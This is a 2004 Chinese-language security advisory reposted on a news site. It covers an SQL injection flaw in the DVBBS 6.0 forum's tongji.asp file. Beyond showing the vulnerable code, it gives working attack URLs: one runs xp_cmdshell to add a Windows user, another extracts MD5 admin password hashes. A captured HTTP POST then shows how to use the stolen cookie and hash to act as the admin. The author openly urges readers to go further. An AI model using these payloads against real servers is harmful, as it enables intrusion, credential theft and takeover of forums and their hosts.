您的位置:中国风网 > 电脑之家 > 网络安全

动网论坛(DVBBS)存在严重漏洞

中国风网 2004-6-10 14:53:44



涉及版本:
^^^^^^^^^^
DVBBS VER 6.0.0 &DVBBS VER 6.0.0 SP1&DVBBS VER 6.0.0 SP2
//低版本没看,反正低版本的问题成堆,也不少这一个-)

描述:
^^^^^^
DVBBS是一款由WWW.ASPSKY.NET开发和维护的源代码开放的Asp论坛;由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击,进而威胁论坛或服务器安全。

具体:
^^^^^^
DVBBS经analysist加固后,消除了大批安全隐患,并引入了很多的安全措施,如果大家对编写安全的Asp代码有兴趣,DVBBS将是一个很好的参考!虽然Asp语法简单,出现问题的情况也就那么几种。小型Asp程序中,程序员只要稍微有点安全意识就可以避免出现漏洞;但在较大规模的纷杂的程序中,难免出现遗漏,而只要有一个缺陷存在,系统安全就得不到保障。说了这么多废话,我们转入正题,问题其实很简单,看代码:
---------------------------------------------------------
6   if request("orders")=1 then
7      call tongji()
8   elseif request("orders")=2 then
9    call topuser()
...
60  sub topuser()
61    set rs=server.createobject("adodb.recordset")
62    sql="select top "&request("n")&" username,useremail,userclass,oicq,homepage,article,addDate  from [user] order by article desc"
---------------------------------------------------------
很明显吧?(你怎么就没发现呢~呵呵),变量 n 没有经任何检查就直接放到SQL查询中了。

攻击方法:
^^^^^^^^^^
1:MSSQL
如果是MSSQL版的,还客气什么,直接提交如下URL:
http://www.target.com/asp/dvbbssql/tongji.asp?orders=2&N=2%20password%20from%20admin;%20exec%20master..xp_cmdshell%20"net%20user%20love%20hack%20/add"%20--
顺利的话,对方系统便会添加love/hack用户,顺便还可以看到论坛管理员的经MD5加密后的密码字符串(FT,系统用户都添加了,论坛管理员算什么?),由于本文不是sql injection教学,就此打住。

2:ACCESS
如果是ACCESS版的,哈哈,很多朋友紧张起来了,看看tongji.asp下面的代码:
---------------------------------------------------------
66    response.write "document.write("");"
67       response.write "document.write(""&rs(0)&"
");"
68    response.write "document.write("

");"
---------------------------------------------------------
看见有趣的东西了没有?没错,就是 rs(0) ,如果我们指定 “n=50 userpassword,”(n的值随便选择,看你想偷看多少用户的密码啦),嘿嘿,现在rs(0) 就不是 username 而是 userpassword了,例如:

http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2
返回:
---------------------------------------------------------
document.write("□");document.write("admin");document.write("
");document.write("□");document.write("ss");document.write("
");
---------------------------------------------------------

http://www.target.com/asp/dvbbs/tongji.asp?orders=2&N=2%20userpassword,
返回:
---------------------------------------------------------
document.write("□");document.write("18e071ccfb2d1c99");document.write("
");document.write("□");document.write("acd5fdfea300e88a");document.write("
");
---------------------------------------------------------
哦,原来admin的密码是18e071ccfb2d1c99,但是经过MD5加密的,别急,用同样的办法你可以把admin的userid、回答问题....全部搞到手。

得到这些能干什么?(准备暴力破解可以略过不看)
曾经看到一篇奇文《得到论坛数据库后如何快速夺取管理员密码<对动网>》,内容大致是:自己安装一个动网论坛,把得到的加过密的16位密码复制下来,贴到你刚才注册的ID的密码处,用找回密码功能就可以了,只要提示问题答案填写正确,密码就发到你的信箱了。
基本上是鬼扯,但作者视MD5如草芥的魄力不得不令小弟佩服。

在老版本的动网中,得到这些信息后可以直接修改用户密码,但在6.0中消除了这一隐患,试看 modifypsw.asp相关代码:
---------------------------------------------------------
elseif md5(trim(request("oldpsw")))<>trim(rs("userpassword")) then
          errmsg=errmsg+"
"+"
  • 输入的旧密码错误,请重新输入。"
            founderr=true
            exit sub
    ---------------------------------------------------------
    哈哈,不行了吧!

    看看管理员操作论坛时到底需要些什么,举个例子,删帖的时候:

    ---------------------------------------------------------
    POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
    Referer: http://www.target.com/asp/dvbbs/admin_postings.asp?action=删除主题&BoardID=2&ID=2
    Accept-Language: zh-cn
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
    Host: www.target.com
    Content-Length: 124
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0

    title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7
    ---------------------------------------------------------

    明白了吧,这里头该有的我们都可以得到,大家要是有时间就帮论坛管理员删删那些垃圾帖吧:)

    还可以做什么?动动脑子,你可以做到更多。

    后记:心情太不美丽了,臭屁了这么久您可不要厌烦。Have a nice day!

    文章来源:www.isgrey.com


  • 推荐给您的朋友】    【发表评论】    【关闭窗口

     ■:相 关 文 章

     动网论坛上传文件漏洞原理以及攻击代码实现  (6月10日14:51:48)
     动网论坛有史以来最大的安全漏洞  (12月13日15:46:11)
     安全至上---“动网论坛”漏洞分析   (10月19日14:26:46)